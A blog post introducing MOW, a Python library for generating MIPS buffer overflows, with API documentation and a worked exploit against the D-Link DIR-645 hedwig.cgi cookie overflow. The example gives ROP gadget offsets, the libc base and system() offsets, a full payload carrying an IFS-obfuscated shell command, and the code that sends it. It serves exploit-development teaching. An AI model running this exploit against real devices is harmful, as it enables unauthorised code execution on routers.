MIPS Overflow Writer

mips Jun 25, 2020

Once you’ve written a fair share of MIPS buffer overflows, you’ll have a pretty good idea of how the stack is laid out and how the math works to perfectly overwrite the return address.

It becomes less of a learning experience and more of a tedious operation. This same feeling led me to write MOW, the MIPS Overflow Writer.

This Python script requires minimal, easily retrievable arguments to generate MIPS based buffer overflows and send it to the target. This saves time and prevents you from rewriting the same lines of code over and over.

 

Installation

The project is Python3 based and is easily installable with the few commands shown below.

$ git clone https://github.com/fuzzywalls/mow
$ cd mow
$ python3 setup.py install

Class Overview

The next few sections will give an overview of the public classes, what arguments they accept, and what they do.

 

Overflow

This is the main class for generating a MIPS overflow. It will dynamically create class variables that represent the saved registers and fill them with sequential bytes starting with 0x41414141, or AAAA. This allows you to easily see if your offsets are off when debugging.

class Overflow:
    def __init__(self, buff_stack_offset, register_count, endianness,
                 padding_after_ra=0, gadgets_base=0,
                 overflow_string_contents='', bad_bytes=None, uses_fp=True,
                 logging_level=log_level.INFO)
Parameter Description
buff_stack_offset Distance between buffer and the top of the stack.
register_count Number of registers saved in the function. Used to dynamically add class variables.
endianess mow.BIG_ENDIAN or mow.LITTLE_ENDIAN
padding_after_ra Amount of padding after $ra, typically 0
gadgets_base Loaded base address of library containing ROP gadgets used. If multiple libraries are used this should be set to 0 and addition must be performed manually.
overflow_string_contents If the destination buffer contains a string prior to the overwrite enter it here.
bad_bytes List of invalid bytes target cannot accept. Throws an exception if one of those bytes are encountered in the overflow.
uses_fp Frame pointer is a saved register. If true, the last dynamically added class variable will be fp instead of, for example, s8.
logging_level Logging level to assign to the internal logger.

 

Overflow Example

Below is a simple example illustrating the dynamic class creation and overflow generation.

>>> import mow
>>> overflow = mow.Overflow(0x20, 5, mow.BIG_ENDIAN)
>>> overflow.s0
b'AAAA'
>>> overflow.s1
b'BBBB'
>>> overflow.s2
b'CCCC'
>>> overflow.s3
b'DDDD'
>>> overflow.fp
b'EEEE'
>>> overflow.generate()
********************
Overflow Generation
********************
Bytes to first register 0x0008(8)
s0 = 0x41414141
s1 = 0x42424242
s2 = 0x43434343
s3 = 0x44444444
fp = 0x45454545
ra = 0x4a4a4a4a (0x0000 + 0x4a4a4a4a)
Adding 0 bytes of padding after ra
stack = b''
********************

b'XXXXXXXXAAAABBBBCCCCDDDDEEEEJJJJ'

Overflow.add_to_stack

A common aspect of writing overflows it to write values on the stack passed the return address. More commonly commands will be written to the stack in preparation of a return to libc attack, but addresses as well as shell code could be written. The function will perform validation to prevent overwriting data previously added on the stack. I found useful during prototyping because it let me know that my math was off.

def add_to_stack(self, padding, address=None, command=None,
                 force_overwrite=False, add_base=True)
Parameters Description
padding Distance between entry and $ra in the overflow.
address Address to write at the provided address. Gadget base will be added if add_base is True.
command Command to write at the provided offset.
force_overwrite Force overwriting values on the stack.
add_base Add the provided base address to address, if provided.

 

add_to_stack Example

Below is an example of adding ABCD to the stack as an address followed immediately by a touch command.

>>> import mow
>>> overflow = mow.Overflow(0x20, 5, mow.BIG_ENDIAN)
>>> overflow.add_to_stack(0x10, address=0x41424344)
Generic Pack = 0x41424344 (0x0000 + 0x41424344)
>>> overflow.add_to_stack(0x14, command="touch /tmp/file")
>>> overflow.generate()
********************
Overflow Generation
********************
Bytes to first register 0x0008(8)
s0 = 0x41414141
s1 = 0x42424242
s2 = 0x43434343
s3 = 0x44444444
fp = 0x45454545
ra = 0x4a4a4a4a (0x0000 + 0x4a4a4a4a)
Adding 0 bytes of padding after ra
stack = b'XXXXXXXXXXXXXXXXABCDtouch /tmp/file'
********************

b'XXXXXXXXAAAABBBBCCCCDDDDEEEEJJJJXXXXXXXXXXXXXXXXABCDtouch /tmp/file'

 

Overflow.generate

This function takes all the information given to the overflow class and returns a byte string (yay Python3…) representing a buffer overflow. Its application can be seen in the examples above.

 

CustomRequest

The CustomRequest class is used to generate an HTTP packet with control of header values and data. The class will generate an HTTP packet from scratch returning it as a byte string. No URL encoding is performed to prevent corrupting the overflow.

class CustomRequest:
    def __init__(self, host, port, request_type, request_dest, headers=None,
                 data=None, logging_level=log_level.INFO):
Parameters Description
host IP address of the target.
port Listening port to send request to.
request_type mow.GET or mow.POST
request_dest Page to request.
headers Values to send in the header field.
data Data to send with the packet.

 

CustomRequest.create_packet

Following initialization of the CustomRequest class you can create the packet using this function. The resulting byte string can be passed directly to mow.send_packet.

 

send_packet

Send a packet, created by the CustomRequest, to a target.

def send_packet(host, port, packet, fire_and_forget=False)
Parameters Description
host IP address of the target.
port Listening port of the target.
packet Packet to send to the target, generated by CustomRequest
fire_and_forget Send the packet and ignore any response.

 

Real Life Example

The following is an example of using MOW to generate and send a buffer overflow to a D-Link DIR–645. A high level overview of the vulnerability is available on this site under “VULNERABILITY DETAILS” #2. The ROP chain that will be used for this exploit is:

----------------------------------------------------------------
| Gadget Name | Gadget Offset | Gadget Summary                  |
-----------------------------------------------------------------
| rop1        | 0x00057D60    | addiu   $s0, 8                  |
|             |               | sll     $a0, 3                  |
|             |               | addu    $a0, $s2, $a0           |
|             |               | move    $a1, $s0                |
|             |               | move    $t9, $s1                |
|             |               | jalr    $t9                     |
|             |               | li      $a2, 8                  |
-----------------------------------------------------------------
| rop2        | 0x00015B6C    | addiu   $s2, $sp, 0x18          |
|             |               | move    $a2, $v1                |
|             |               | move    $t9, $s0                |
|             |               | jalr    $t9                     |
|             |               | move    $a0, $s2                |
-----------------------------------------------------------------

The ROP chain will be used to call system with a command we have placed on the stack. rop1 is used to fix-up the address of system because it ends in a NULL byte and rop2 will retrieve the command from the stack and call system. Other important numbers that were retrieved from either static or dynamic analysis are:

  • Base of libuClibc loaded in memory: 0x2aaf8000
  • Distance of overflow buffer from the top of the stack: 0x428
  • System offset in libuClibc: 0x53200
  • Registers saved in function containing exploit: $s0 - $s7, including $fp
  • Static string present in the destination buffer: “/runtime/session/”

Knowing all these values it is very simple to generate the overflow in python:

 

>>> import mow
>>> overflow = mow.Overflow(0x428, 9, mow.LITTLE_ENDIAN, 0, 0x2aaf8000, '/runtime/session/')
>>> overflow.s0 = 0x531f8   # Used for system fix-up
>>> overflow.s1 = 0x15b6c   # rop2
>>> overflow.ra = 0x57d60   # rop3
>>> overflow.add_to_stack(0x18, command='touch${IFS}/tmp/filename&')
>>> of_string = overflow.generate()
********************
Overflow Generation
********************
Bytes to first register: 0x03ef(1007) accounting for 17 bytes in the string: /runtime/session/
s0 = 0xf8b1b42a (0x2aaf8000 + 0x531f8)
s1 = 0x6cdbb02a (0x2aaf8000 + 0x15b6c)
s2 = 0x43434343
s3 = 0x44444444
s4 = 0x45454545
s5 = 0x46464646
s6 = 0x47474747
s7 = 0x48484848
fp = 0x49494949
ra = 0x60fdb42a (0x2aaf8000 + 0x57d60)
stack = b'XXXXXXXXXXXXXXXXXXXXXXXXtouch${IFS}/tmp/filename&'
********************

 

Next step is to generate the packet:

>>> request = mow.CustomRequest('127.0.0.1', 80, mow.POST,'hedwig.cgi',  
         {'Cookie': b'uid=%s' % of_string}, 'doesntmatter')
>>> packet = request.create_packet()
********************
Packet Generation
********************
POST /hedwig.cgi HTTP/1.1
Host: 127.0.0.1:80
Cookie: uid=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX*l۰*CCCCDDDDEEEEFFFFGGGGHHHHIIII`*XXXXXXXXXXXXXXXXXXXXXXXXtouch${IFS}/tmp/filename&
Content-Length: 12

doesntmatter
********************

Finally, sending it:

mow.send_packet('127.0.0.1', 80, packet)

 

Conclusion

If you are interested in using MOW you can grab it from my Github page here. Hope you enjoy it!

 

About the Author

Evan Walls is a vulnerability analyst and developer at Tactical Network Solutions, focusing on embedded system exploitation. When he isn’t searching for new exploits, he teaches training courses developed by TNS, including IoT Firmware Exploitation. Prior to working at TNS he was a Windows developer for the Department of Defense. Now that he’s seen the glory and freedom that is Linux he vowed never to use another windows development machine again.

You can follow him on LinkedIn or GitHub.

Stay connected with our writings on firmware exploitation!

Join today and be the first to know when we release new content. Your email will never be shared.